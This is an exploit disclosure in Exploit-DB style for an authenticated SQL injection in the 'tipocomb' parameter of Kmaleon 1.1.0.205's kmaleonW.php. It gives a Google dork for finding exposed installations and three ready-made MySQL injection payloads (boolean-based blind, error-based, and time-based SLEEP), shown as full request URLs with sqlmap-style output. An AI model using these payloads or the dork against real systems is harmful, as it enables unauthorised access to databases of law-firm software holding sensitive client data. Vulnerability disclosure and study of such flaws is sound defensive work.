Kmaleon 1.1.0.205 - (tipocomb) SQL Injection Vulnerability

# Exploit Title: Kmaleon 1.1.0.205 - 'tipocomb' SQL Injection (Authenticated)
# Google Dork: intitle: "Inicio de Sesión - Kmaleon"
# Exploit Author: Amel BOUZIANE-LEBLOND
# Vendor Homepage: https://www.levelprograms.com
# Software Link: https://www.levelprograms.com/kmaleon-abogados/
# Version: v1.1.0.205
# Tested on: Linux

# Description:
# The Kmaleon application from levelprogram is vulnerable to
# SQL injection via the 'tipocomb' parameter on the kmaleonW.php

==================== 1. SQLi ====================

http://127.0.0.1/kmaleonW.php?c=age&a=doc&usuario=1&fechain=2021-11-05&fechafin=2021-11-05&tipocomb=[SQLI]&isgroup=true

The 'tipocomb' parameter is vulnerable to SQL injection.

GET parameter 'tipocomb' is vulnerable.

---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: http://localhost/kmaleonW.php?c=age&a=doc&usuario=1&fechain=2021-11-05&fechafin=2021-11-05&tipocomb=-9144 OR 6836=6836&isgroup=true

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: http://localhost/kmaleonW.php?c=age&a=doc&usuario=1&fechain=2021-11-05&fechafin=2021-11-05&tipocomb= OR (SELECT 8426 FROM(SELECT COUNT(*),CONCAT(0x7176716b71,(SELECT (ELT(8426=8426,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&isgroup=true

    Type: time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind (query SLEEP)
    Payload: http://localhost/kmaleonW.php?c=age&a=doc&usuario=1&fechain=2021-11-05&fechafin=2021-11-05&tipocomb= OR (SELECT 2738 FROM (SELECT(SLEEP(5)))EYSv)&isgroup=true
---
[INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0